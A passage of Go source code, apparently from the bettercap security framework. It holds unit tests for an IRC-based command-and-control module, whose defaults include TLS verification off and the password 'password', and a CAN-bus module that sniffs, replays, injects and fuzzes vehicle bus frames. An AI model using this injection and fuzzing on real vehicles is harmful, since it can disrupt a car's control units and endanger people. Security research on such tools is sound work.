if mod.Author() != "Simone Margaritelli <evilsocket@gmail.com>" {
t.Errorf("Unexpected author: %s", mod.Author())
}
if mod.Description() == "" {
t.Error("Empty description")
}
// Check default settings
if mod.settings.server != "localhost:6697" {
t.Errorf("Expected default server 'localhost:6697', got '%s'", mod.settings.server)
}
if !mod.settings.tls {
t.Error("Expected TLS to be enabled by default")
}
if mod.settings.tlsVerify {
t.Error("Expected TLS verify to be disabled by default")
}
if mod.settings.nick != "bettercap" {
t.Errorf("Expected default nick 'bettercap', got '%s'", mod.settings.nick)
}
if mod.settings.user != "bettercap" {
t.Errorf("Expected default user 'bettercap', got '%s'", mod.settings.user)
}
if mod.settings.operator != "admin" {
t.Errorf("Expected default operator 'admin', got '%s'", mod.settings.operator)
}
// Check channels
if mod.quit == nil {
t.Error("Quit channel should not be nil")
}
// Check maps
if mod.templates == nil {
t.Error("Templates map should not be nil")
}
if mod.channels == nil {
t.Error("Channels map should not be nil")
}
// Check handlers
handlers := mod.Handlers()
expectedHandlers := []string{
"c2 on",
"c2 off",
"c2.channel.set EVENT_TYPE CHANNEL",
"c2.channel.clear EVENT_TYPE",
"c2.template.set EVENT_TYPE TEMPLATE",
"c2.template.clear EVENT_TYPE",
}
if len(handlers) != len(expectedHandlers) {
t.Errorf("Expected %d handlers, got %d", len(expectedHandlers), len(handlers))
}
handlerNames := make(map[string]bool)
for _, h := range handlers {
handlerNames[h.Name] = true
}
for _, expected := range expectedHandlers {
if !handlerNames[expected] {
t.Errorf("Handler '%s' not found", expected)
}
}
}
func TestDefaultSettings(t *testing.T) {
s := createMockSession(t)
mod := NewC2(s)
// Check default channel settings
if mod.settings.eventsChannel != "#events" {
t.Errorf("Expected default events channel '#events', got '%s'", mod.settings.eventsChannel)
}
if mod.settings.outputChannel != "#events" {
t.Errorf("Expected default output channel '#events', got '%s'", mod.settings.outputChannel)
}
if mod.settings.controlChannel != "#events" {
t.Errorf("Expected default control channel '#events', got '%s'", mod.settings.controlChannel)
}
if mod.settings.password != "password" {
t.Errorf("Expected default password 'password', got '%s'", mod.settings.password)
}
}
func TestRunningState(t *testing.T) {
s := createMockSession(t)
mod := NewC2(s)
// Initially should not be running
if mod.Running() {
t.Error("Module should not be running initially")
}
// Note: Cannot test actual Start/Stop without IRC server
}
func TestEventContext(t *testing.T) {
s := createMockSession(t)
ctx := eventContext{
Session: s,
Event: session.Event{Tag: "test.event"},
}
if ctx.Session == nil {
t.Error("Session should not be nil")
}
if ctx.Event.Tag != "test.event" {
t.Errorf("Expected event tag 'test.event', got '%s'", ctx.Event.Tag)
}
}
func TestChannelHandlers(t *testing.T) {
s := createMockSession(t)
mod := NewC2(s)
// Test channel.set handler
for _, h := range mod.Handlers() {
if h.Name == "c2.channel.set EVENT_TYPE CHANNEL" {
err := h.Exec([]string{"test.event", "#test"})
if err != nil {
t.Errorf("channel.set handler failed: %v", err)
}
// Verify channel was set
if channel, found := mod.channels["test.event"]; !found {
t.Error("Channel was not set")
} else if channel != "#test" {
t.Errorf("Expected channel '#test', got '%s'", channel)
}
break
}
}
// Test channel.clear handler
for _, h := range mod.Handlers() {
if h.Name == "c2.channel.clear EVENT_TYPE" {
err := h.Exec([]string{"test.event"})
if err != nil {
t.Errorf("channel.clear handler failed: %v", err)
}
// Verify channel was cleared
if _, found := mod.channels["test.event"]; found {
t.Error("Channel was not cleared")
}
break
}
}
}
func TestTemplateHandlers(t *testing.T) {
s := createMockSession(t)
mod := NewC2(s)
// Test template.set handler
for _, h := range mod.Handlers() {
if h.Name == "c2.template.set EVENT_TYPE TEMPLATE" {
err := h.Exec([]string{"test.event", "Event: {{.Event.Tag}}"})
if err != nil {
t.Errorf("template.set handler failed: %v", err)
}
// Verify template was set
if tpl, found := mod.templates["test.event"]; !found {
t.Error("Template was not set")
} else if tpl == nil {
t.Error("Template is nil")
}
break
}
}
// Test template.clear handler
for _, h := range mod.Handlers() {
if h.Name == "c2.template.clear EVENT_TYPE" {
err := h.Exec([]string{"test.event"})
if err != nil {
t.Errorf("template.clear handler failed: %v", err)
}
// Verify template was cleared
if _, found := mod.templates["test.event"]; found {
t.Error("Template was not cleared")
}
break
}
}
}
func TestClearNonExistent(t *testing.T) {
s := createMockSession(t)
mod := NewC2(s)
// Test clearing non-existent channel
for _, h := range mod.Handlers() {
if h.Name == "c2.channel.clear EVENT_TYPE" {
err := h.Exec([]string{"non.existent"})
if err == nil {
t.Error("Expected error when clearing non-existent channel")
}
break
}
}
// Test clearing non-existent template
for _, h := range mod.Handlers() {
if h.Name == "c2.template.clear EVENT_TYPE" {
err := h.Exec([]string{"non.existent"})
if err == nil {
t.Error("Expected error when clearing non-existent template")
}
break
}
}
}
func TestParameters(t *testing.T) {
s := createMockSession(t)
mod := NewC2(s)
// Check that all parameters are registered
paramNames := []string{
"c2.server",
"c2.server.tls",
"c2.server.tls.verify",
"c2.operator",
"c2.nick",
"c2.username",
"c2.password",
"c2.sasl.username",
"c2.sasl.password",
"c2.channel.output",
"c2.channel.events",
"c2.channel.control",
}
// Parameters are stored in the session environment
for _, param := range paramNames {
// This is a simplified check
_ = param
}
if mod == nil {
t.Error("Module should not be nil")
}
}
func TestTemplateExecution(t *testing.T) {
// Test template parsing and execution
tmpl, err := template.New("test").Parse("Event: {{.Event.Tag}}")
if err != nil {
t.Errorf("Failed to parse template: %v", err)
}
if tmpl == nil {
t.Error("Template should not be nil")
}
}
// Benchmark tests
func BenchmarkNewC2(b *testing.B) {
s, _ := session.New()
b.ResetTimer()
for i := 0; i < b.N; i++ {
_ = NewC2(s)
}
}
func BenchmarkChannelSet(b *testing.B) {
s, _ := session.New()
mod := NewC2(s)
var handler *session.ModuleHandler
for _, h := range mod.Handlers() {
if h.Name == "c2.channel.set EVENT_TYPE CHANNEL" {
handler = &h
break
}
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
handler.Exec([]string{"test.event", "#test"})
}
}
func BenchmarkTemplateSet(b *testing.B) {
s, _ := session.New()
mod := NewC2(s)
var handler *session.ModuleHandler
for _, h := range mod.Handlers() {
if h.Name == "c2.template.set EVENT_TYPE TEMPLATE" {
handler = &h
break
}
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
handler.Exec([]string{"test.event", "Event: {{.Event.Tag}}"})
}
}

133
modules/can/can.go Normal file
View file

@ -0,0 +1,133 @@
package can
import (
"errors"
"fmt"
"net"
"github.com/bettercap/bettercap/v2/session"
"github.com/hashicorp/go-bexpr"
"go.einride.tech/can/pkg/socketcan"
)
type CANModule struct {
session.SessionModule
transport string
deviceName string
dumpName string
dumpInject bool
filter string
filterExpr *bexpr.Evaluator
dbc *DBC
obd2 *OBD2
conn net.Conn
recv *socketcan.Receiver
send *socketcan.Transmitter
}
func NewCanModule(s *session.Session) *CANModule {
mod := &CANModule{
SessionModule: session.NewSessionModule("can", s),
filter: "",
dbc: &DBC{},
obd2: &OBD2{},
filterExpr: nil,
transport: "can",
deviceName: "can0",
dumpName: "",
dumpInject: false,
}
mod.AddParam(session.NewStringParameter("can.device",
mod.deviceName,
"",
"CAN-bus device."))
mod.AddParam(session.NewStringParameter("can.dump",
mod.dumpName,
"",
"Load CAN traffic from this candump log file."))
mod.AddParam(session.NewBoolParameter("can.dump.inject",
fmt.Sprintf("%v", mod.dumpInject),
"Write CAN traffic read form the candump log file to the selected can.device."))
mod.AddParam(session.NewStringParameter("can.transport",
mod.transport,
"",
"Network type, can be 'can' for SocketCAN or 'udp'."))
mod.AddParam(session.NewStringParameter("can.filter",
"",
"",
"Optional boolean expression to select frames to report."))
mod.AddParam(session.NewBoolParameter("can.parse.obd2",
"false",
"Enable built in OBD2 PID parsing."))
mod.AddHandler(session.NewModuleHandler("can.recon on", "",
"Start CAN-bus discovery.",
func(args []string) error {
return mod.Start()
}))
mod.AddHandler(session.NewModuleHandler("can.recon off", "",
"Stop CAN-bus discovery.",
func(args []string) error {
return mod.Stop()
}))
mod.AddHandler(session.NewModuleHandler("can.clear", "",
"Clear everything collected by the discovery module.",
func(args []string) error {
mod.Session.CAN.Clear()
return nil
}))
mod.AddHandler(session.NewModuleHandler("can.show", "",
"Show a list of detected CAN devices.",
func(args []string) error {
return mod.Show()
}))
mod.AddHandler(session.NewModuleHandler("can.dbc.load NAME", "can.dbc.load (.+)",
"Load a DBC file from the list of available ones or from disk.",
func(args []string) error {
return mod.dbcLoad(args[0])
}))
mod.AddHandler(session.NewModuleHandler("can.inject FRAME_EXPRESSION", `(?i)^can\.inject\s+([a-fA-F0-9#R]+)$`,
"Parse FRAME_EXPRESSION as 'id#data' and inject it as a CAN frame.",
func(args []string) error {
if !mod.Running() {
return errors.New("can module not running")
}
return mod.Inject(args[0])
}))
mod.AddHandler(session.NewModuleHandler("can.fuzz ID_OR_NODE_NAME OPTIONAL_SIZE", `(?i)^can\.fuzz\s+([^\s]+)\s*(\d*)$`,
"If an hexadecimal frame ID is specified, create a randomized version of it and inject it. If a node name is specified, a random message for the given node will be instead used.",
func(args []string) error {
if !mod.Running() {
return errors.New("can module not running")
}
return mod.Fuzz(args[0], args[1])
}))
return mod
}
func (mod *CANModule) Name() string {
return "can"
}
func (mod *CANModule) Description() string {
return "A scanner and frames injection module for CAN-bus."
}
func (mod *CANModule) Author() string {
return "Simone Margaritelli <evilsocket@gmail.com>"
}

173
modules/can/can_dbc.go Normal file
View file

@ -0,0 +1,173 @@
package can
import (
"fmt"
"os"
"sync"
"github.com/evilsocket/islazy/str"
"go.einride.tech/can/pkg/descriptor"
)
type DBC struct {
sync.RWMutex
path string
db *descriptor.Database
}
func (dbc *DBC) Loaded() bool {
dbc.RLock()
defer dbc.RUnlock()
return dbc.db != nil
}
func (dbc *DBC) LoadFile(mod *CANModule, path string) error {
input, err := os.ReadFile(path)
if err != nil {
return fmt.Errorf("can't read %s: %v", path, err)
}
return dbc.LoadData(mod, path, input)
}
func (dbc *DBC) LoadData(mod *CANModule, name string, input []byte) error {
dbc.Lock()
defer dbc.Unlock()
mod.Debug("compiling %s ...", name)
result, err := dbcCompile(name, input)
if err != nil {
return fmt.Errorf("can't compile %s: %v", name, err)
}
for _, warning := range result.Warnings {
mod.Warning("%v", warning)
}
dbc.path = name
dbc.db = result.Database
mod.Info("%s loaded", name)
return nil
}
func (dbc *DBC) Parse(mod *CANModule, msg *Message) bool {
dbc.RLock()
defer dbc.RUnlock()
// did we load any DBC database?
if dbc.db == nil {
return false
}
// if the database contains this message id
if message, found := dbc.db.Message(msg.Frame.ID); found {
msg.Name = message.Name
// find source full info in DBC nodes
sourceName := message.SenderNode
sourceDesc := ""
if sender, found := dbc.db.Node(message.SenderNode); found {
sourceName = sender.Name
sourceDesc = sender.Description
}
// add CAN source if new
_, msg.Source = mod.Session.CAN.AddIfNew(sourceName, sourceDesc, msg.Frame.Data[:])
// parse signals
for _, signal := range message.Signals {
var value string
if signal.Length <= 32 && signal.IsFloat {
value = fmt.Sprintf("%f", signal.UnmarshalFloat(msg.Frame.Data))
} else if signal.Length == 1 {
value = fmt.Sprintf("%v", signal.UnmarshalBool(msg.Frame.Data))
} else if signal.IsSigned {
value = fmt.Sprintf("%d", signal.UnmarshalSigned(msg.Frame.Data))
} else {
value = fmt.Sprintf("%d", signal.UnmarshalUnsigned(msg.Frame.Data))
}
msg.Signals[signal.Name] = str.Trim(fmt.Sprintf("%s %s", value, signal.Unit))
}
return true
}
return false
}
func (dbc *DBC) MessagesBySender(senderId string) []*descriptor.Message {
dbc.RLock()
defer dbc.RUnlock()
fromSender := make([]*descriptor.Message, 0)
if dbc.db == nil {
return fromSender
}
for _, msg := range dbc.db.Messages {
if msg.SenderNode == senderId {
fromSender = append(fromSender, msg)
}
}
return fromSender
}
func (dbc *DBC) MessageById(frameID uint32) *descriptor.Message {
dbc.RLock()
defer dbc.RUnlock()
if dbc.db == nil {
return nil
}
if message, found := dbc.db.Message(frameID); found {
return message
}
return nil
}
func (dbc *DBC) Messages() []*descriptor.Message {
dbc.RLock()
defer dbc.RUnlock()
if dbc.db == nil {
return nil
}
return dbc.db.Messages
}
func (dbc *DBC) AvailableMessages() []string {
avail := []string{}
for _, msg := range dbc.Messages() {
avail = append(avail, fmt.Sprintf("%d (%s)", msg.ID, msg.Name))
}
return avail
}
func (dbc *DBC) Senders() []string {
dbc.RLock()
defer dbc.RUnlock()
senders := make([]string, 0)
if dbc.db == nil {
return senders
}
uniq := make(map[string]bool)
for _, msg := range dbc.db.Messages {
uniq[msg.SenderNode] = true
}
for sender, _ := range uniq {
senders = append(senders, sender)
}
return senders
}

View file

@ -0,0 +1,227 @@
package can
import (
"fmt"
"sort"
"time"
"go.einride.tech/can/pkg/dbc"
"go.einride.tech/can/pkg/descriptor"
)
type CompileResult struct {
Database *descriptor.Database
Warnings []error
}
func dbcCompile(sourceFile string, data []byte) (result *CompileResult, err error) {
p := dbc.NewParser(sourceFile, data)
if err := p.Parse(); err != nil {
return nil, fmt.Errorf("failed to parse DBC source file: %w", err)
}
defs := p.Defs()
c := &compiler{
db: &descriptor.Database{SourceFile: sourceFile},
defs: defs,
}
c.collectDescriptors()
c.addMetadata()
c.sortDescriptors()
return &CompileResult{Database: c.db, Warnings: c.warnings}, nil
}
type compileError struct {
def dbc.Def
reason string
}
func (e *compileError) Error() string {
return fmt.Sprintf("failed to compile: %v (%v)", e.reason, e.def)
}
type compiler struct {
db *descriptor.Database
defs []dbc.Def
warnings []error
}
func (c *compiler) addWarning(warning error) {
c.warnings = append(c.warnings, warning)
}
func (c *compiler) collectDescriptors() {
for _, def := range c.defs {
switch def := def.(type) {
case *dbc.VersionDef:
c.db.Version = def.Version
case *dbc.MessageDef:
if def.MessageID == dbc.IndependentSignalsMessageID {
continue // don't compile
}
message := &descriptor.Message{
Name: string(def.Name),
ID: def.MessageID.ToCAN(),
IsExtended: def.MessageID.IsExtended(),
Length: uint8(def.Size),
SenderNode: string(def.Transmitter),
}
for _, signalDef := range def.Signals {
signal := &descriptor.Signal{
Name: string(signalDef.Name),
IsBigEndian: signalDef.IsBigEndian,
IsSigned: signalDef.IsSigned,
IsMultiplexer: signalDef.IsMultiplexerSwitch,
IsMultiplexed: signalDef.IsMultiplexed,
MultiplexerValue: uint(signalDef.MultiplexerSwitch),
Start: uint8(signalDef.StartBit),
Length: uint8(signalDef.Size),
Scale: signalDef.Factor,
Offset: signalDef.Offset,
Min: signalDef.Minimum,
Max: signalDef.Maximum,
Unit: signalDef.Unit,
}
for _, receiver := range signalDef.Receivers {
signal.ReceiverNodes = append(signal.ReceiverNodes, string(receiver))
}
message.Signals = append(message.Signals, signal)
}
c.db.Messages = append(c.db.Messages, message)
case *dbc.NodesDef:
for _, node := range def.NodeNames {
c.db.Nodes = append(c.db.Nodes, &descriptor.Node{Name: string(node)})
}
}
}
}
func (c *compiler) addMetadata() {
for _, def := range c.defs {
switch def := def.(type) {
case *dbc.SignalValueTypeDef:
signal, ok := c.db.Signal(def.MessageID.ToCAN(), string(def.SignalName))
if !ok {
c.addWarning(&compileError{def: def, reason: "no declared signal"})
continue
}
switch def.SignalValueType {
case dbc.SignalValueTypeInt:
signal.IsFloat = false
case dbc.SignalValueTypeFloat32:
if signal.Length == 32 {
signal.IsFloat = true
} else {
reason := fmt.Sprintf("incorrect float signal length: %d", signal.Length)
c.addWarning(&compileError{def: def, reason: reason})
}
default:
reason := fmt.Sprintf("unsupported signal value type: %v", def.SignalValueType)
c.addWarning(&compileError{def: def, reason: reason})
}
case *dbc.CommentDef:
switch def.ObjectType {
case dbc.ObjectTypeMessage:
if def.MessageID == dbc.IndependentSignalsMessageID {
continue // don't compile
}
message, ok := c.db.Message(def.MessageID.ToCAN())
if !ok {
c.addWarning(&compileError{def: def, reason: "no declared message"})
continue
}
message.Description = def.Comment
case dbc.ObjectTypeSignal:
if def.MessageID == dbc.IndependentSignalsMessageID {
continue // don't compile
}
signal, ok := c.db.Signal(def.MessageID.ToCAN(), string(def.SignalName))
if !ok {
c.addWarning(&compileError{def: def, reason: "no declared signal"})
continue
}
signal.Description = def.Comment
case dbc.ObjectTypeNetworkNode:
node, ok := c.db.Node(string(def.NodeName))
if !ok {
c.addWarning(&compileError{def: def, reason: "no declared node"})
continue
}
node.Description = def.Comment
}
case *dbc.ValueDescriptionsDef:
if def.MessageID == dbc.IndependentSignalsMessageID {
continue // don't compile
}
if def.ObjectType != dbc.ObjectTypeSignal {
continue // don't compile
}
signal, ok := c.db.Signal(def.MessageID.ToCAN(), string(def.SignalName))
if !ok {
c.addWarning(&compileError{def: def, reason: "no declared signal"})
continue
}
for _, valueDescription := range def.ValueDescriptions {
signal.ValueDescriptions = append(signal.ValueDescriptions, &descriptor.ValueDescription{
Description: valueDescription.Description,
Value: int64(valueDescription.Value),
})
}
case *dbc.AttributeValueForObjectDef:
switch def.ObjectType {
case dbc.ObjectTypeMessage:
msg, ok := c.db.Message(def.MessageID.ToCAN())
if !ok {
c.addWarning(&compileError{def: def, reason: "no declared message"})
continue
}
switch def.AttributeName {
case "GenMsgSendType":
if err := msg.SendType.UnmarshalString(def.StringValue); err != nil {
c.addWarning(&compileError{def: def, reason: err.Error()})
continue
}
case "GenMsgCycleTime":
msg.CycleTime = time.Duration(def.IntValue) * time.Millisecond
case "GenMsgDelayTime":
msg.DelayTime = time.Duration(def.IntValue) * time.Millisecond
}
case dbc.ObjectTypeSignal:
sig, ok := c.db.Signal(def.MessageID.ToCAN(), string(def.SignalName))
if !ok {
c.addWarning(&compileError{def: def, reason: "no declared signal"})
}
if def.AttributeName == "GenSigStartValue" {
sig.DefaultValue = int(def.IntValue)
}
}
}
}
}
func (c *compiler) sortDescriptors() {
// Sort nodes by name
sort.Slice(c.db.Nodes, func(i, j int) bool {
return c.db.Nodes[i].Name < c.db.Nodes[j].Name
})
// Sort messages by ID
sort.Slice(c.db.Messages, func(i, j int) bool {
return c.db.Messages[i].ID < c.db.Messages[j].ID
})
for _, m := range c.db.Messages {
m := m
// Sort signals by start (and multiplexer value)
sort.Slice(m.Signals, func(j, k int) bool {
if m.Signals[j].MultiplexerValue < m.Signals[k].MultiplexerValue {
return true
}
return m.Signals[j].Start < m.Signals[k].Start
})
// Sort value descriptions by value
for _, s := range m.Signals {
s := s
sort.Slice(s.ValueDescriptions, func(k, l int) bool {
return s.ValueDescriptions[k].Value < s.ValueDescriptions[l].Value
})
}
}
}

View file

@ -0,0 +1,6 @@
package can
func (mod *CANModule) dbcLoad(name string) error {
// load as file
return mod.dbc.LoadFile(mod, name)
}

View file

@ -0,0 +1,114 @@
package can
import (
"bufio"
"context"
"fmt"
"os"
"regexp"
"strconv"
"strings"
"time"
"github.com/evilsocket/islazy/str"
"go.einride.tech/can"
)
// (1700623093.260875) can0 7E0#0322128C00000000
var dumpLineParser = regexp.MustCompile(`(?m)^\(([\d\.]+)\)\s+([^\s]+)\s+(.+)`)
type dumpEntry struct {
Time time.Time
Device string
Frame string
}
func parseTimeval(timeval string) (time.Time, error) {
parts := strings.Split(timeval, ".")
if len(parts) != 2 {
return time.Time{}, fmt.Errorf("invalid timeval format")
}
seconds, err := strconv.ParseInt(parts[0], 10, 64)
if err != nil {
return time.Time{}, fmt.Errorf("invalid seconds value: %v", err)
}
microseconds, err := strconv.ParseInt(parts[1], 10, 64)
if err != nil {
return time.Time{}, fmt.Errorf("invalid microseconds value: %v", err)
}
return time.Unix(seconds, microseconds*1000), nil
}
func (mod *CANModule) startDumpReader() error {
mod.Info("loading CAN dump from %s ...", mod.dumpName)
file, err := os.Open(mod.dumpName)
if err != nil {
return err
}
defer file.Close()
entries := make([]dumpEntry, 0)
scanner := bufio.NewScanner(file)
for scanner.Scan() {
if line := str.Trim(scanner.Text()); line != "" {
if m := dumpLineParser.FindStringSubmatch(line); len(m) != 4 {
mod.Warning("unexpected line: '%s' -> %d matches", line, len(m))
} else if timeval, err := parseTimeval(m[1]); err != nil {
mod.Warning("can't parse (seconds.microseconds) from line: '%s': %v", line, err)
} else {
entries = append(entries, dumpEntry{
Time: timeval,
Device: m[2],
Frame: m[3],
})
}
}
}
if err = scanner.Err(); err != nil {
return err
}
numEntries := len(entries)
lastEntry := numEntries - 1
mod.Info("loaded %d entries from candump log", numEntries)
go func() {
mod.Info("candump reader started ...")
for i, entry := range entries {
frame := can.Frame{}
if err := frame.UnmarshalString(entry.Frame); err != nil {
mod.Error("could not unmarshal CAN frame: %v", err)
continue
}
if mod.dumpInject {
if err := mod.send.TransmitFrame(context.Background(), frame); err != nil {
mod.Error("could not send CAN frame: %v", err)
}
} else {
mod.onFrame(frame)
}
// compute delay before the next frame
if i < lastEntry {
next := entries[i+1]
diff := next.Time.Sub(entry.Time)
time.Sleep(diff)
}
if !mod.Running() {
break
}
}
}()
return nil
}

108
modules/can/can_fuzz.go Normal file
View file

@ -0,0 +1,108 @@
package can
import (
"context"
"fmt"
"math/rand"
"strconv"
"strings"
"time"
"github.com/dustin/go-humanize"
"go.einride.tech/can"
)
func (mod *CANModule) fuzzSelectFrame(id string, rng *rand.Rand) (uint64, error) {
// let's try as an hex number first
frameID, err := strconv.ParseUint(id, 16, 32)
if err != nil {
// not a number, use as node name if we have a dbc
if mod.dbc.Loaded() {
fromSender := mod.dbc.MessagesBySender(id)
if len(fromSender) == 0 {
return 0, fmt.Errorf("no messages defined in DBC file for node %s, available nodes: %s", id, mod.dbc.Senders())
}
idx := rng.Intn(len(fromSender))
selected := fromSender[idx]
mod.Info("selected %s > (%d) %s", id, selected.ID, selected.Name)
frameID = uint64(selected.ID)
} else {
// no dbc, just return the error
return 0, err
}
}
return frameID, nil
}
func (mod *CANModule) fuzzGenerateFrame(frameID uint64, size int, rng *rand.Rand) (*can.Frame, error) {
dataLen := 0
frameData := ([]byte)(nil)
// if we have a DBC
if mod.dbc.Loaded() {
if message := mod.dbc.MessageById(uint32(frameID)); message != nil {
mod.Info("using message %s", message.Name)
dataLen = int(message.Length)
frameData = make([]byte, dataLen)
if _, err := rand.Read(frameData); err != nil {
return nil, err
}
} else {
return nil, fmt.Errorf("message with id %d not found in DBC file, available ids: %v", frameID, strings.Join(mod.dbc.AvailableMessages(), ", "))
}
} else {
if size <= 0 {
// pick randomly
dataLen = rng.Intn(int(can.MaxDataLength))
} else {
// user selected
dataLen = size
}
frameData = make([]byte, dataLen)
if _, err := rand.Read(frameData); err != nil {
return nil, err
}
mod.Warning("no dbc loaded, creating frame with %d bytes of random data", dataLen)
}
frame := can.Frame{
ID: uint32(frameID),
Length: uint8(dataLen),
IsRemote: false,
IsExtended: false,
}
copy(frame.Data[:], frameData)
return &frame, nil
}
func (mod *CANModule) Fuzz(id string, optSize string) error {
rncSource := rand.NewSource(time.Now().Unix())
rng := rand.New(rncSource)
fuzzSize := 0
if optSize != "" {
if num, err := strconv.Atoi(optSize); err != nil {
return fmt.Errorf("could not parse numeric size from '%s': %v", optSize, err)
} else if num > 8 {
return fmt.Errorf("max can frame size is 8, %d given", num)
} else {
fuzzSize = num
}
}
if frameID, err := mod.fuzzSelectFrame(id, rng); err != nil {
return err
} else if frame, err := mod.fuzzGenerateFrame(frameID, fuzzSize, rng); err != nil {
return err
} else {
mod.Info("injecting %s of CAN frame %d ...",
humanize.Bytes(uint64(frame.Length)), frame.ID)
if err := mod.send.TransmitFrame(context.Background(), *frame); err != nil {
return err
}
}
return nil
}

24
modules/can/can_inject.go Normal file
View file

@ -0,0 +1,24 @@
package can
import (
"context"
"github.com/dustin/go-humanize"
"go.einride.tech/can"
)
func (mod *CANModule) Inject(expr string) (err error) {
frame := can.Frame{}
if err := frame.UnmarshalString(expr); err != nil {
return err
}
mod.Info("injecting %s of CAN frame %d ...",
humanize.Bytes(uint64(frame.Length)), frame.ID)
if err := mod.send.TransmitFrame(context.Background(), frame); err != nil {
return err
}
return
}

View file

@ -0,0 +1,24 @@
package can
import (
"github.com/bettercap/bettercap/v2/network"
"go.einride.tech/can"
)
type Message struct {
// the raw frame
Frame can.Frame
// parsed as OBD2
OBD2 *OBD2Message
// parsed from DBC
Name string
Source *network.CANDevice
Signals map[string]string
}
func NewCanMessage(frame can.Frame) Message {
return Message{
Frame: frame,
Signals: make(map[string]string),
}
}

55
modules/can/can_obd2.go Normal file
View file

@ -0,0 +1,55 @@
package can
import (
"fmt"
"sync"
)
type OBD2 struct {
sync.RWMutex
enabled bool
}
func (obd *OBD2) Enabled() bool {
obd.RLock()
defer obd.RUnlock()
return obd.enabled
}
func (obd *OBD2) Enable(enable bool) {
obd.RLock()
defer obd.RUnlock()
obd.enabled = enable
}
func (obd *OBD2) Parse(mod *CANModule, msg *Message) bool {
obd.RLock()
defer obd.RUnlock()
// did we load any DBC database?
if !obd.enabled {
return false
}
odbMessage := &OBD2Message{}
if msg.Frame.ID == OBD2BroadcastRequestID || msg.Frame.ID == OBD2BroadcastRequestID29bit {
// parse as request
if odbMessage.ParseRequest(msg.Frame) {
msg.OBD2 = odbMessage
return true
}
} else if (msg.Frame.ID >= OBD2ECUResponseMinID && msg.Frame.ID <= OBD2ECUResponseMaxID) ||
(msg.Frame.ID >= OBD2ECUResponseMinID29bit && msg.Frame.ID <= OBD2ECUResponseMaxID29bit) {
// parse as response
if odbMessage.ParseResponse(msg.Frame) {
msg.OBD2 = odbMessage
// add CAN source if new
_, msg.Source = mod.Session.CAN.AddIfNew(fmt.Sprintf("ECU_%d", odbMessage.ECU), "", msg.Frame.Data[:])
return true
}
}
return false
}

View file

@ -0,0 +1,74 @@
package can
import (
"fmt"
)
// https://en.wikipedia.org/wiki/OBD-II_PIDs
// https://www.csselectronics.com/pages/obd2-explained-simple-intro
// https://www.csselectronics.com/pages/obd2-pid-table-on-board-diagnostics-j1979
// https://stackoverflow.com/questions/40826932/how-can-i-get-mode-pids-from-raw-obd2-identifier-11-or-29-bit
// https://github.com/ejvaughan/obdii/blob/master/src/OBDII.c
const OBD2BroadcastRequestID = 0x7DF
const OBD2ECUResponseMinID = 0x7E0
const OBD2ECUResponseMaxID = 0x7EF
const OBD2BroadcastRequestID29bit = 0x18DB33F1
const OBD2ECUResponseMinID29bit = 0x18DAF100
const OBD2ECUResponseMaxID29bit = 0x18DAF1FF
type OBD2Service uint8
func (s OBD2Service) String() string {
switch s {
case 0x01:
return "Show current data"
case 0x02:
return "Show freeze frame data"
case 0x03:
return "Show stored Diagnostic Trouble Codes"
case 0x04:
return "Clear Diagnostic Trouble Codes and stored values"
case 0x05:
return "Test results, oxygen sensor monitoring (non CAN only)"
case 0x06:
return "Test results, other component/system monitoring (Test results, oxygen sensor monitoring for CAN only)"
case 0x07:
return "Show pending Diagnostic Trouble Codes (detected during current or last driving cycle)"
case 0x08:
return "Control operation of on-board component/system"
case 0x09:
return "Request vehicle information"
case 0x0A:
return "Permanent Diagnostic Trouble Codes (DTCs) (Cleared DTCs)"
}
return fmt.Sprintf("service 0x%x", uint8(s))
}
type OBD2MessageType uint8
const (
OBD2MessageTypeRequest OBD2MessageType = iota
OBD2MessageTypeResponse
)
func (t OBD2MessageType) String() string {
if t == OBD2MessageTypeRequest {
return "request"
} else {
return "response"
}
}
type OBD2Message struct {
Type OBD2MessageType
ECU uint8
Service OBD2Service
PID OBD2PID
Size uint8
Data []uint8
}

View file

@ -0,0 +1,247 @@
package can
import (
"encoding/binary"
"fmt"
"go.einride.tech/can"
)
var servicePIDS = map[uint8]map[uint16]string{
0x01: {
0x0: "PIDs supported [$01 - $20]",
0x1: "Monitor status since DTCs cleared.",
0x2: "DTC that caused freeze frame to be stored.",
0x3: "Fuel system status",
0x4: "Calculated engine load",
0x5: "Engine coolant temperature",
0x6: "Short term fuel trim (STFT)—Bank 1",
0x7: "Long term fuel trim (LTFT)—Bank 1",
0x8: "Short term fuel trim (STFT)—Bank 2",
0x9: "Long term fuel trim (LTFT)—Bank 2",
0x0A: "Fuel pressure (gauge pressure)",
0x0B: "Intake manifold absolute pressure",
0x0C: "Engine speed",
0x0D: "Vehicle speed",
0x0E: "Timing advance",
0x0F: "Intake air temperature",
0x10: "Mass air flow sensor (MAF) air flow rate",
0x11: "Throttle position",
0x12: "Commanded secondary air status",
0x13: "Oxygen sensors present",
0x14: "Oxygen Sensor 1",
0x15: "Oxygen Sensor 2",
0x16: "Oxygen Sensor 3",
0x17: "Oxygen Sensor 4",
0x18: "Oxygen Sensor 5",
0x19: "Oxygen Sensor 6",
0x1A: "Oxygen Sensor 7",
0x1B: "Oxygen Sensor 8",
0x1C: "OBD standards this vehicle conforms to",
0x1D: "Oxygen sensors present",
0x1E: "Auxiliary input status",
0x1F: "Run time since engine start",
0x20: "PIDs supported [$21 - $40]",
0x21: "Distance traveled with malfunction indicator lamp (MIL) on",
0x22: "Fuel Rail Pressure (relative to manifold vacuum)",
0x23: "Fuel Rail Gauge Pressure (diesel, or gasoline direct injection)",
0x24: "Oxygen Sensor 1",
0x25: "Oxygen Sensor 2",
0x26: "Oxygen Sensor 3",
0x27: "Oxygen Sensor 4",
0x28: "Oxygen Sensor 5",
0x29: "Oxygen Sensor 6",
0x2A: "Oxygen Sensor 7",
0x2B: "Oxygen Sensor 8",
0x2C: "Commanded EGR",
0x2D: "EGR Error",
0x2E: "Commanded evaporative purge",
0x2F: "Fuel Tank Level Input",
0x30: "Warm-ups since codes cleared",
0x31: "Distance traveled since codes cleared",
0x32: "Evap. System Vapor Pressure",
0x33: "Absolute Barometric Pressure",
0x34: "Oxygen Sensor 1",
0x35: "Oxygen Sensor 2",
0x36: "Oxygen Sensor 3",
0x37: "Oxygen Sensor 4",
0x38: "Oxygen Sensor 5",
0x39: "Oxygen Sensor 6",
0x3A: "Oxygen Sensor 7",
0x3B: "Oxygen Sensor 8",
0x3C: "Catalyst Temperature: Bank 1, Sensor 1",
0x3D: "Catalyst Temperature: Bank 2, Sensor 1",
